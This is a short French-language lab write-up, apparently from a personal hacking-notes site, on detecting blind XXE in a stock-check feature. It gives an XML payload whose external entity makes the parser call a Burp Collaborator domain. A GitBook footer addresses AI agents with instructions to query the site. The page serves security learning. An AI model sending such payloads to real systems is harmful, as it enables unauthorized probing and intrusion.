> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xxe/blind-xxe-with-out-of-band-interaction.md).

# XXE aveugle avec interaction hors bande

### XXE aveugle avec interaction hors bande

La fonctionnalité Vérifier le stock accepte un XML mais **n’affiche pas** la réponse. Il s'agit d'une XXE aveugle : vous ne voyez pas directement le contenu renvoyé par l'analyseur. Pour détecter et exploiter la vulnérabilité, des interactions hors bande (OOB) sont générées — par exemple, une requête DNS ou HTTP vers un domaine contrôlé (Burp Collaborator / OAST) — afin de vérifier si l'analyseur effectue des requêtes externes.

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
    test
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

{% endcode %}

Si ce XML est soumis, aucune réponse n'est obtenue depuis l'interface (comportement aveugle).

<figure><img src="/files/3cdd4e1df3945abbf0232d260bd47bad7764e25c" alt=""><figcaption></figcaption></figure>

#### Utilisation d'une entité externe vers Burp Collaborator

Déclarez une entité externe pointant vers un domaine contrôlé (ici : `h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com`) afin de forcer l'analyseur à effectuer une requête HTTP/DNS — si la requête arrive sur le service OOB, l'application est vulnérable à l'XXE aveugle.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "https://h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com">]>
<stockCheck>
  <productId>
    &myFile;
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

Après l'envoi, nous constatons la réception de la requête sur le service OOB (Burp Collaborator), ce qui confirme la présence d'une XXE aveugle avec interaction hors bande.

<figure><img src="/files/0e9de8df19efae65653eb127344e4adb59ff8f3e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xxe/blind-xxe-with-out-of-band-interaction.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
